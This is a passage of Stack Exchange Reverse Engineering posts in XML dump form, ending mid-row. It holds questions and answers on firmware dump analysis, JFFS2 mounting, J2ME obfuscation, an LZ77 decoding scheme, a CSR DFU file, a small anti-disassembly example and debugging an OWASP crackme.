  <row Id="22427" PostTypeId="2" ParentId="22426" CreationDate="2019-10-30T13:28:49.197" Score="1" Body="&lt;p&gt;Do you already tried to analyze the dump with a tool like binwalk?&lt;br&gt;&#xA;If not I would recommend to do that first. This may already clarify your situation.&lt;br&gt;&#xA;You can also check the entropy with binwalk to verify if this is really compressed or encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides of that my I ask you how you dumped the firmware? Ar you sure that the dump itself is correct?&lt;br&gt;&#xA;It kind of reminds me of a project that I was working on not that long ago. I had a few mistakes in my script. Those mistakes made the dump look really weird (e.g. it started correctly and after a few bytes I only had 0xFF bytes, that's why I am asking).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least just by looking at the picture it doesn't look like .zip, .xz, .gzip to me. If I remember correctly the header formats of those three look different (assuming that your picure shows the beginning of the file). But I am not 100% sure about that, I might be wrong about that. &lt;/p&gt;&#xA;" OwnerUserId="29398" LastEditorUserId="29398" LastEditDate="2019-10-30T13:39:37.297" LastActivityDate="2019-10-30T13:39:37.297" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22428" PostTypeId="2" ParentId="22426" CreationDate="2019-10-30T19:30:55.240" Score="3" Body="&lt;p&gt;I believe it is not compressed or encrypted.   Entropy of 0.8 is pretty poor for any decent encryption or compression. These regions are more likely to be code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this in mind, let's look at a hexdump in the region of the first area of higher entropy at offset 0x00001000 -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00001000:  76 86 65 77 01 01 00 24 FF FF FF FF 00 10 FF FF  v.ew...$........&#xA;00001010:  00 00 21 26 00 00 00 00 00 00 00 00 00 00 38 10  ..!&amp;amp;..........8.&#xA;00001020:  76 9C 07 9D E5 9F 00 28 EE 01 0F 10 E5 9F D0 24  v......(.......$&#xA;00001030:  EA 00 00 0B E5 9F 00 20 E5 9F 10 20 E3 A0 20 00  ....... ... .. .&#xA;00001040:  E5 80 10 00 E5 80 10 04 E5 80 20 08 E5 80 20 0C  .......... ... .&#xA;00001050:  E1 A0 F0 0E 00 00 1F 74 04 00 20 00 90 00 02 00  .......t.. .....&#xA;00001060:  00 00 55 55 E2 8F 80 C4 E8 98 00 03 E0 80 00 08  ..UU............&#xA;00001070:  E0 81 10 08 E2 40 B0 01 E1 50 00 01 0A 00 00 13  .....@...P......&#xA;00001080:  E8 B0 00 70 E1 54 00 05 0A FF FF FA E3 14 00 01  ...p.T..........&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The fact that almost every 4th byte has a high nibble of &lt;code&gt;E&lt;/code&gt; is strongly indicative of 32-bit ARM code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That does leave the question of why areas look garbled.&#xA;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000128B0:  47 18 BC 08 65 48 20 3A 6D 20 70 61 72 6F 6D 65  G...eH :m parome&#xA;000128C0:  6F 63 20 79 70 75 72 72 00 64 65 74 20 74 75 4F  oc ypurr.det tuO&#xA;000128D0:  68 20 66 6F 20 70 61 65 6F 6D 65 6D 00 00 79 72  h fo paeomem..yr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I believe is happening is that there is some endianness mix-up going on, perhaps with how the flash interfaces with the SOC/MCU or maybe with the settings of the program you used to dump the flash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, look again at the region at offset 000128B0 but reverse each group of 4 bytes first.  This gives you -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000128B0:  08 BC 18 47 3A 20 48 65 61 70 20 6D 65 6D 6F 72  ...G: Heap memor&#xA;000128C0:  79 20 63 6F 72 72 75 70 74 65 64 00 4F 75 74 20  y corrupted.Out &#xA;000128D0:  6F 66 20 68 65 61 70 20 6D 65 6D 6F 72 79 00 00  of heap memory..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This makes much more sense. Other apparent strings become readable with this transformation too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest you apply this to the whole file and see what that gives you.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastEditorUserId="4731" LastEditDate="2019-10-30T19:36:00.593" LastActivityDate="2019-10-30T19:36:00.593" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22429" PostTypeId="1" AcceptedAnswerId="22430" CreationDate="2019-10-30T21:44:17.873" Score="1" ViewCount="361" Body="&lt;p&gt;While reversing some J2ME games like Spyro or Tekken 5 Mobile I have encountered a weird obfuscation where all fields, methods and classes have names like A, a, B, b, Aa, Bb etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's really hard to read source code like that. Example method can look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     public static void a(final boolean b) {&#xA;        f.b = b;&#xA;        if (!b &amp;amp;&amp;amp; f.a != null) {&#xA;            try {&#xA;                f.a.stop();&#xA;            }&#xA;            catch (Exception ex) {}&#xA;            f.a = null;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to restore original names or at least make this code more readable? I would be grateful for any tips.&lt;/p&gt;&#xA;" OwnerUserId="26912" LastActivityDate="2020-12-10T03:08:51.377" Title="J2ME games obfuscator - Spyro and Tekken 5" Tags="|obfuscation|java|game-hacking|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22430" PostTypeId="2" ParentId="22429" CreationDate="2019-10-30T23:18:18.593" Score="3" Body="&lt;p&gt;No there isn't. You'll have to assign meangingful names yourself while reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just be glad that even with names stripped, Java is far easier to reverse engineer than native binaries.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2019-10-30T23:18:18.593" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22432" PostTypeId="1" CreationDate="2019-10-31T09:01:17.063" Score="3" ViewCount="51" Body="&lt;p&gt;So I'm trying to reassemble an PE to ELF so I can debug it with rr.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However masm report duplicate symbol errors. It's because it doesn't enforce scope to it's variables so smart names cause conflicts. If they were postfixed with stack or data offset respectively there wouldn't be such problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively maybe there is a switch in masm which can correct those errors.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;TRAOD_P4_orig.exe.v2.data.asm(1058192) : error A2005:symbol&#xA;  redefinition : Args TRAOD_P4_orig.exe.v2.data.asm(2724112) : error&#xA;  A2005:symbol redefinition : Dest&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; LINE somewhere in the code above&#xA;Dest            = byte ptr -404h&#xA;Args            = byte ptr  10h&#xA;&#xA;; LINE 1058192&#xA;; char Args[]&#xA;Args            dd ?                    ; DATA XREF: _Caption_Draw:loc_523425\u2191r&#xA;&#xA;; LINE 2724112&#xA;; char Dest&#xA;Dest            db ?                    ; DATA XREF: sub_42DF68+38\u2191o&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Apparently there was even a case where Memory was both a local variable and a data reference in the same function.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="14334" LastEditorUserId="14334" LastEditDate="2019-11-11T01:50:26.390" LastActivityDate="2019-11-11T01:50:26.390" Title="How to prepend offset to smart names?" Tags="|ida|assembly|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="22433" PostTypeId="2" ParentId="22388" CreationDate="2019-10-31T09:10:05.320" Score="1" Body="&lt;p&gt;you can mount jffs2 file system directly &lt;/p&gt;&#xA;&#xA;&lt;p&gt;fo rmount jffs2 file system on linux &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One method of mounting JFFS2 images uses the mtdram module to emulate an MTD device using system RAM. This works well for JFFS2 images that are less than approximately 32 MB but will not work for larger images since it requires allocating a large amount of system RAM. The basic steps of this process are as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Load mtdram and mtdblock modules.&#xA;Use the dd command to copy the JFFS2 image to /dev/mtdblock0.&#xA;Mount /dev/mtdblock0 as a JFFS2 filesytem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to simplify this process, EMAC has created a script which takes the JFFS2 image, mount point, and the erase block size of the image as parameters. The default erase block size for this script is 128 KiB, which is the correct value for most NOR flashes used on EMAC products and some NAND flashes. The eraseblock size can be determined from the contents of /proc/mtd from the system that the image was copied from or created for. For example, if the value of the &quot;erasesize&quot; parameter is 00040000, the erase block size for the device is 256 KiB (0x40000 = 262144 bytes, 262144 / 1024 = 256 KiB). The jffs2_mount_mtdram.sh script is shown below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;&#xA;## Script to mount jffs2 filesystem using mtd kernel modules.&#xA;## EMAC, Inc. 2009&#xA;&#xA;if [[ $# -lt 2 ]]&#xA;then&#xA;    echo &quot;Usage: $0 FSNAME.JFFS2 MOUNTPOINT [ERASEBLOCK_SIZE]&quot;&#xA;    exit 1&#xA;fi&#xA;&#xA;if [ &quot;$(whoami)&quot; != &quot;root&quot; ]&#xA;then&#xA;    echo &quot;$0 must be run as root!&quot;&#xA;    exit 1&#xA;fi&#xA;&#xA;if [[ ! -e $1 ]]&#xA;then&#xA;    echo &quot;$1 does not exist&quot;&#xA;    exit 1&#xA;fi&#xA;&#xA;if [[ ! -d $2 ]]&#xA;then&#xA;    echo &quot;$2 is not a valid mount point&quot;&#xA;    exit 1&#xA;fi&#xA;&#xA;if [[ &quot;$3&quot; == &quot;&quot; ]]&#xA;then&#xA;    esize=&quot;128&quot;&#xA;else&#xA;    esize=&quot;$3&quot;&#xA;fi&#xA;&#xA;# cleanup if necessary&#xA;umount /dev/mtdblock0 &amp;amp;&amp;gt;/dev/null&#xA;modprobe -r mtdram &amp;amp;&amp;gt;/dev/null&#xA;modprobe -r mtdblock &amp;amp;&amp;gt;/dev/null&#xA;&#xA;modprobe mtdram total_size=32768 erase_size=$esize || exit 1&#xA;modprobe mtdblock || exit 1&#xA;dd if=&quot;$1&quot; of=/dev/mtdblock0 || exit 1&#xA;mount -t jffs2 /dev/mtdblock0 $2 || exit 1&#xA;&#xA;echo &quot;Successfully mounted $1 on $2&quot;&#xA;exit 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;**developer@ldc:~$ sudo ./jffs2_mount_mtdram.sh rootfs.jffs2 /mnt/jffs2 256**&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To mount an image with 256 KiB erase block size named rootfs.jffs2 on /mnt/jffs2 using jffs2_mount_mtdram.sh&lt;/p&gt;&#xA;" OwnerUserId="27919" LastEditorUserId="18317" LastEditDate="2019-10-31T11:29:25.607" LastActivityDate="2019-10-31T11:29:25.607" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22434" PostTypeId="1" CreationDate="2019-10-31T11:55:19.187" Score="1" ViewCount="51" Body="&lt;p&gt;I am creating a PoC for anti-disassembly techniques, and I would like to know if there were ways to define the address of functions once compiled with gcc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the PoC program :&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BITS 32&#xA;EXTERN puts&#xA;SECTION .data&#xA;    chaine      db &quot;Hello world !&quot;, 0&#xA;&#xA;SECTION .text&#xA;    GLOBAL main&#xA;&#xA;    I_Want_to_control_this_func_addr:&#xA;    ret&#xA;&#xA;    main:&#xA;    push chaine&#xA;    ; xor eax, eax&#xA;   jz beer+1&#xA;beer:&#xA;   db 0xe8&#xA;    add al, 3&#xA;    add al, 8&#xA;    pop eax&#xA;    ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like the function to have the address &lt;code&gt;0x08040309&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am compiling with : &lt;code&gt;nasm -f elf test.asm; gcc -m32 -o test test.o&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="23314" LastActivityDate="2019-10-31T11:55:19.187" Title="Is it possible to define the adress of a function in assembly?" Tags="|disassembly|anti-debugging|disassemblers|compilers|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22435" PostTypeId="1" CreationDate="2019-10-31T18:52:56.500" Score="1" ViewCount="2202" Body="&lt;p&gt;I am trying to reverse engineer the firmware for my JBL Flip 3 speaker. I have obtained a DFU file for the device online but am unsure as to how much of the firmware is included. My first question would be, normally do DFU files include the full device firmware or just a portion of it and the device knows how to update the specific portion?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming for now that the file contains the full firmware, does anyone know anything about firmware images for CSR Bluetooth SOC's? I know that the speaker is using a CSR SOC because the DFU starts with &lt;code&gt;CSR-dfu2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Opening the DFU file in Audacity and playing it, we can see that it contains all the sound effects the speaker plays as well as some sections of static that I assume are code: &lt;a href=&quot;https://i.stack.imgur.com/3VIpZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3VIpZ.png&quot; alt=&quot;firmware in Audacity&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am fairly confident that these sections are code/data because they contains strings like &lt;code&gt;tts/0.raw&lt;/code&gt; and &lt;code&gt;tts/1.raw&lt;/code&gt;. However, there is a null byte in between each character of the strings which suggests that they are UTF-16 strings. Does anyone know of an embedded filesystem that uses UTF-16 filenames?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately &lt;code&gt;binwalk&lt;/code&gt; does not provide any useful information. However, I found what I believe to be the full JBL Flip &lt;strong&gt;4&lt;/strong&gt; firmware image image and &lt;code&gt;binwalk&lt;/code&gt; reveals several sections:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0             0x0             CSR (XAP2) DFU firmware update header&#xA;1380          0x564           CSR Bluecore firmware segment&#xA;1931310       0x1D782E        YAFFS filesystem, big endian&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any experience with CSR or JBL firmware and could provide guidance or a suggestion of how to extract code from the DFU? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="28279" LastEditorUserId="28279" LastEditDate="2019-10-31T19:29:40.143" LastActivityDate="2023-08-11T10:16:20.307" Title="CSR DFU File Format" Tags="|firmware|binwalk|bluetooth|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22436" PostTypeId="1" AcceptedAnswerId="22441" CreationDate="2019-11-01T00:17:04.720" Score="0" ViewCount="3436" Body="&lt;p&gt;I've been reading some about reverse engineering and decided to try to learn as I go, which has proven somewhat difficult. Sorry about the generic title, I'll try and give enough info so it can be properly answered. I have attempted to view the code of both the exe of the game and the game assembly dll, the game was written in c# with unity, every time I import any of the files into dnSpy it only has a PE tab containing header info I think? BTW the second screenshot is how it is on every item, I've seen some video's where they can edit the c# right in here, is it a security measure or am I an idiot and screwed up? If my question is really retarded feel free to direct me to some beginner resources. I may even just be using the wrong tool. Let me know if you need clarification and thanks in advance for answering my noob question&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DEWp1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DEWp1.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://i.stack.imgur.com/sMllW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sMllW.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30062" LastActivityDate="2019-11-05T00:25:56.663" Title="How do I reverse engineer a game using dnSpy?" Tags="|decompilation|game-hacking|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22437" PostTypeId="2" ParentId="2799" CreationDate="2019-11-01T00:21:04.897" Score="1" Body="&lt;p&gt;For those who can't get it to work with the already suggested answers, try this as Igor Skochinsky said in the comments because it was the only thing that worked for me.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or just use cramfsck/unsquashfs to extract the image. Or 7-zip&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I used &#xA;&lt;code&gt;7z e file.cramfs&lt;/code&gt;&#xA;and it extracted all files perfectly.&lt;/p&gt;&#xA;" OwnerUserId="29113" LastActivityDate="2019-11-01T00:21:04.897" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22441" PostTypeId="2" ParentId="22436" CreationDate="2019-11-01T08:57:31.893" Score="0" Body="&lt;p&gt;These sections indicate that this is a standard PE, or binary executable loaded by OS. That means that the code is in assembly, and you need a x64 dissambler(probably) . Try IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just notice that you have to know quite a bit to reverse a game, and I would start with easy crackme excersices. &lt;/p&gt;&#xA;" OwnerUserId="22690" LastActivityDate="2019-11-01T08:57:31.893" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22442" PostTypeId="1" CreationDate="2019-11-01T10:18:38.160" Score="0" ViewCount="590" Body="&lt;p&gt;Here is the file that I am trying to findout a way to decrypt.&lt;br&gt;&#xA;&lt;a href=&quot;https://drive.google.com/file/d/1QROrdmCO0FW4WasVOTm_r2kWokuI5XLT/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;settings.ini&lt;/a&gt;&lt;br&gt;&#xA;This file is from the settings of the MetaTrader 5. The same is the name of the application.&lt;br&gt;&#xA;Kindly suggest a better way so that I could read what is there in the encrypted settings file.&lt;/p&gt;&#xA;" OwnerUserId="30003" LastEditorUserId="30003" LastEditDate="2019-11-01T12:56:12.327" LastActivityDate="2019-11-07T08:22:25.620" Title="How to decrypt a file who encryption and key is unknown?" Tags="|decompilation|decryption|" AnswerCount="1" CommentCount="5" ClosedDate="2019-12-01T23:03:18.050" ContentLicense="CC BY-SA 4.0" />
  <row Id="22443" PostTypeId="1" AcceptedAnswerId="22486" CreationDate="2019-11-01T12:33:03.503" Score="7" ViewCount="4058" Body="&lt;p&gt;It's pretty annoying. I think I might have changed some setting somewhere.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xfKBH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xfKBH.png&quot; alt=&quot;Here's a screenshot of what I'm talking about. See all those &amp;quot;...&amp;quot; ?&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here's a screenshot of what I'm talking about. See all those &amp;quot;...&amp;quot; ?&lt;/p&gt;&#xA;&lt;p&gt;How do I turn that off?&lt;/p&gt;&#xA;" OwnerUserId="29223" LastEditorUserId="35171" LastEditDate="2022-11-29T07:16:42.520" LastActivityDate="2022-11-29T07:16:42.520" Title="Ghidra does not display whole strings" Tags="|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22444" PostTypeId="2" ParentId="22422" CreationDate="2019-11-01T15:43:00.190" Score="3" Body="&lt;p&gt;I think the results of your well-designed tests help explain pretty much everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is an LZ77 variant.  Try the following scheme for decoding the length and offsets.  (Encoded bytes are shown below as 8 binary bits.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1st byte  2nd byte  3rd byte      token type  length    offset(*)&#xA;========  ========  ========      ==========  ======  ==============&#xA;000qqqqq     --        --     =&amp;gt;  literal     1 + Q         --      &#xA;001qqqqq  rrrrrrrr     --     =&amp;gt;  dictionary  3       (Q&amp;lt;&amp;lt;8) + R + 1&#xA;010qqqqq  rrrrrrrr     --     =&amp;gt;  dictionary  4       (Q&amp;lt;&amp;lt;8) + R + 1&#xA;011qqqqq  rrrrrrrr     --     =&amp;gt;  dictionary  5       (Q&amp;lt;&amp;lt;8) + R + 1&#xA;100qqqqq  rrrrrrrr     --     =&amp;gt;  dictionary  6       (Q&amp;lt;&amp;lt;8) + R + 1&#xA;101qqqqq  rrrrrrrr     --     =&amp;gt;  dictionary  7       (Q&amp;lt;&amp;lt;8) + R + 1&#xA;110qqqqq  rrrrrrrr     --     =&amp;gt;  dictionary  8       (Q&amp;lt;&amp;lt;8) + R + 1&#xA;111qqqqq  rrrrrrrr  ssssssss  =&amp;gt;  dictionary  9 + R   (Q&amp;lt;&amp;lt;8) + S + 1  &#xA;&#xA;* the offsets are backwards in the decoded data from the current output position.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&#xA;The whole file from offset &lt;code&gt;00000410&lt;/code&gt; onwards appears to be decompressible using the above encoding scheme.&#xA;Doing so gives me the below.  You can see that the end of my first excerpt has a number of 32 bit floating point values.  The 2nd excerpt has your test string.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000:  F9 15 00 00 00 00 00 00 01 00 00 00 68 73 69 6E  ............hsin&#xA;00000010:  01 00 00 00 00 00 00 00 EC 2D F1 91 50 BC 4D 41  .........-..P.MA&#xA;00000020:  96 E1 F3 EA B1 70 A9 B9 18 00 00 00 00 00 00 00  .....p..........&#xA;00000030:  44 53 49 4E 01 00 00 00 01 00 00 00 01 00 00 00  DSIN............&#xA;00000040:  01 00 00 00 01 00 00 00 00 00 00 00 44 53 49 4E  ............DSIN&#xA;00000050:  6D 00 00 00 A5 15 00 00 00 00 00 00 01 00 00 00  m...............&#xA;00000060:  68 73 69 6E 01 00 00 00 00 00 00 00 85 50 7B 20  hsin.........P{ &#xA;00000070:  83 65 FA 41 80 7B CA 65 CA E4 1D FA 75 15 00 00  .e.A.{.e....u...&#xA;00000080:  00 00 00 00 44 53 49 4E 6D 00 00 00 01 00 00 00  ....DSINm.......&#xA;00000090:  18 00 00 00 00 00 00 00 44 53 49 4E 01 00 00 00  ........DSIN....&#xA;000000A0:  01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00  ................&#xA;000000B0:  01 00 00 00 2D 15 00 00 00 00 00 00 18 00 00 00  ....-...........&#xA;000000C0:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................&#xA;000000D0:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................&#xA;000000E0:  00 00 00 3F 00 00 7D 3F 00 00 80 3F 00 00 80 3F  ...?..}?...?...?&#xA;000000F0:  00 00 00 3F BA 9E FF 3E 00 00 80 3F 00 00 80 3F  ...?...&amp;gt;...?...?&#xA;00000100:  00 00 80 3F 00 00 00 3F A6 30 00 3F 00 00 80 3F  ...?...?.0.?...?&#xA;00000110:  00 00 70 3F 00 00 80 3F 00 00 00 3F 00 00 80 3F  ..p?...?...?...?&#xA;00000120:  00 80 91 3E 00 00 00 3F 00 00 00 00 00 00 00 3F  ...&amp;gt;...?.......?&#xA;00000130:  00 00 00 3F 00 00 00 3F 00 00 00 3F 00 00 00 3F  ...?...?...?...?&#xA;00000140:  00 00 00 3F 00 40 41 3F 00 00 00 3F 00 00 00 00  ...?.@A?...?....&#xA;00000150:  00 80 99 3E 00 00 00 3F 00 00 00 3F 00 00 00 00  ...&amp;gt;...?...?....&#xA;00000160:  00 00 00 3F 00 00 00 3F 00 00 00 3F 00 00 00 3F  ...?...?...?...?&#xA;...&#xA;00000430:  00 00 00 00 00 01 00 00 00 07 00 00 00 00 00 00  ................&#xA;00000440:  00 00 00 00 00 01 01 00 00 00 00 C0 00 00 00 40  ...............@&#xA;00000450:  01 01 00 00 00 00 00 01 00 00 00 0B 00 00 00 54  ...............T&#xA;00000460:  45 53 54 53 54 52 49 4E 47 31 17 00 00 00 50 52  ESTSTRING1....PR&#xA;00000470:  45 46 49 58 54 45 53 54 53 54 52 49 4E 47 31 53  EFIXTESTSTRING1S&#xA;00000480:  55 46 46 49 58 01 00 00 00 33 01 00 00 00 34 01  UFFIX....3....4.&#xA;00000490:  00 00 00 35 01 00 00 00 36 01 00 00 00 37 01 00  ...5....6....7..&#xA;000004A0:  00 00 38 04 00 00 00 00 00 00 00 55 55 29 41 02  ..8........UU)A.&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4731" LastEditorUserId="4731" LastEditDate="2019-11-06T06:43:59.477" LastActivityDate="2019-11-06T06:43:59.477" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22445" PostTypeId="1" CreationDate="2019-10-31T16:53:34.953" Score="2" ViewCount="50" Body="&lt;p&gt;I have a contactless card which I'd like to know the capabilities. I assume the card works with NFC. However standard tools (&lt;em&gt;nfc-list&lt;/em&gt;) do not seem to be able to retrieve regular informations from it (not even the UID), the phone can't detect it either. This may be because the chip may have a not common NFC type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my question is: how can I know what kind of chip technology this is so I can begin working on understanding how data is stored and what is the protocol ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What kind of additional hardware other than a simple reader (e.g ACR122U) may come handy to identify the card ?&lt;/p&gt;&#xA;" OwnerUserId="30080" OwnerDisplayName="Ra'Jiska" LastEditorUserId="13506" LastEditDate="2020-01-13T13:58:21.343" LastActivityDate="2020-01-13T13:58:21.343" Title="Reversing Contactless Chip Capabilities" Tags="|communication|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22446" PostTypeId="1" CreationDate="2019-11-01T22:36:29.057" Score="1" ViewCount="246" Body="&lt;p&gt;I'm trying to run this armv5 binary from &lt;a href=&quot;https://github.com/OWASP/owasp-mstg/tree/master/Crackmes#android-license-validator&quot; rel=&quot;nofollow noreferrer&quot;&gt;OWASP's mobile security guide&lt;/a&gt; (&lt;code&gt;validate&lt;/code&gt;) using Android Studio's emulator on my x86_64 machine. I'm seeing &lt;em&gt;very&lt;/em&gt; weird behaviour and would appreciate any guidance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I run the program &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ adb push validate /data/local/tmp&#xA;$ adb shell /data/local/tmp/validate AAAAAAAAAAAAAAAA&#xA;Entering base32_decode&#xA;Outlen = 10&#xA;Entering check_license&#xA;Incorrect serial.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue arises when I attach gdbserver to the process and attempt to debug it over the network with gdb running on my x86_64 machine (Ubuntu 18.04).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Run under GDBserver&lt;/h1&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ adb root&#xA;$ adb forward tcp:8888 tcp:8888&#xA;$ adb push validate /data/local/tmp&#xA;$ adb shell gdbserver --version&#xA;GNU gdbserver (GDB) 7.11&#xA;$ adb shell gdbserver :8888 /data/local/tmp/validate&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Connect with GDB from host (Ubuntu 18.04 x86_64)&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ~/Android/Sdk/ndk/20.0.5594570/prebuilt/linux-x86_64/bin/gdb --version&#xA;GNU gdb (GDB) 7.11&#xA;$ ~/Android/Sdk/ndk/20.0.5594570/prebuilt/linux-x86_64/bin/gdb&#xA;&#xA;gdb$ target remote :8888&#xA;gdb$ break *(0x2a000000 + 0x3bc) # Set breakpoint in main function&#xA;gdb$ c&#xA;Program received signal SIGSEGV, Segmentation fault.&#xA;0x2a0003c0 in ?? ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Upon further inspection, it seems that the reason it fails, is because GBD fails to restore the instruction at the breakpoint to it's original value after mangling it to facilitate the breakpoint.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Try with hardware breakpoint instead&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb$ hbreak *(0x2a000000 + 0x3bc)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No SIGSEGV this time, but now if we try to step with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb$ nexti&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't increment the program counter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if we clear the break points, it's still stuck on that one instruction and there doesn't appear&#xA;to be any way to make gdb continue execution.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Android Image Details (taken from Android Studio AVDManager)&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Name:    Pixel_3_XL_API_25_armeab-v7a&lt;/li&gt;&#xA;&lt;li&gt;CPU/ABI: Google APIs ARM 